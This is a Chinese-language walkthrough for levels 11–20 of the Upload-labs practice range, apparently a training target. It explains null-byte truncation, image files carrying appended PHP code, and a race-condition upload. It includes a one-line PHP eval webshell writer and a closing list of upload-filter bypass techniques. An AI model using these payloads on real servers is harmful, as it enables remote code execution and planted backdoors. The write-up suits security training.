Upload-labs 檔案上傳靶場通關攻略(下)
Pass-11
GET型傳參,上傳目錄可設定,考慮00截斷,在/upload/後新增1.php%00,即可上傳
Pass-12
POST型傳參,上傳目錄可設定,POST型會不會進行URL編碼,所以在/upload/後新增1.php%00,並且將%00用URL進行編碼。編碼後為空白符號,即可上傳
Pass-13
檔案包含,上傳圖片碼1.jpg,利用檔案包含將JPG內容當作PHP進行解析
生成圖片碼命令
copy 1.jpg /b + 1.php /a 2.jpg 192.168.28.128/uploadlab/include.php?file=upload/1420210717064745.png
Pass-14
同第13關
Pass-15
同14關
Pass-16
二次渲染,依舊上傳圖片碼,找到未被渲染的位置,用C32將一句話木馬插入。依舊上傳,採用檔案包含即可。
Pass-17
條件競爭,伺服器端將上傳的檔案進行先儲存再判斷,如果正確則重新命名,否則刪除。
通過爆破持續上傳,然後通過訪問,生成新的木馬檔案。
上傳的木馬如下:
<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST[123]) ?>’); ?>
上傳後進行爆破訪問,生成webshell.php即為後門檔案
Pass-18
圖片馬加條件競爭,先上傳圖片馬,然後通過檔案包含訪問圖片馬,生產Webshell檔案
Pass-19
%00截斷,方法同Pass-12
Pass-20
進行程式碼審計,類似CTF
MIME首先得是image/png、image/gif、image/jpg
if (!is_array($file)) { $file = explode('.', strtolower($file)); }
會根據.將$file先轉化為小寫再打散成陣列。
$ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上傳該字尾檔案!"; }
會對陣列中最後一個值進行判斷是否是jpg,png,gif結尾
$file_name = reset($file) . '.' . $file[count($file) - 1];
將陣列的第一個值和倒數第二個值進行拼接。
所以我們考慮陣列的最後一個值必須是jpg,第一個和第二個值還需要再考慮
if (move_uploaded_file($temp_file, $img_path)) { $msg = "檔案上傳成功!"; $is_upload = true; }
這邊可以看到將臨時檔案儲存再img_path,所以img_path其實可以根據傳入的save_name[]陣列進行操控。
而move_uploaded_file在執行的時候會忽略末尾的/.,所以根據拼接
save_name[0]=web.php/
save_name[1]為空
save_name[2]=jpg
注意POST上傳改包的資料包型式即可。
總結:檔案上傳的種類和手法:
1.前端JS驗證:禁用JS,Burp抓包修改
2.只檢查Content-type,修改MIME
3.黑名單繞過:爆破尾綴
4.系統配置檔案重寫,.htaccess,.nginx
5.大小寫繞過、尾綴新增點,空格,下劃線繞過,新增::$DATA
6.過濾敏感詞彙使用雙寫繞過
7.上傳目錄可控可以使用00截斷,GET傳參不需要編碼,POST需要進行編碼成為空白
8.存在檔案包含漏洞可上傳圖片馬,進行包含
9.條件競爭是伺服器處理上的邏輯漏洞,需要爆破上傳和爆破訪問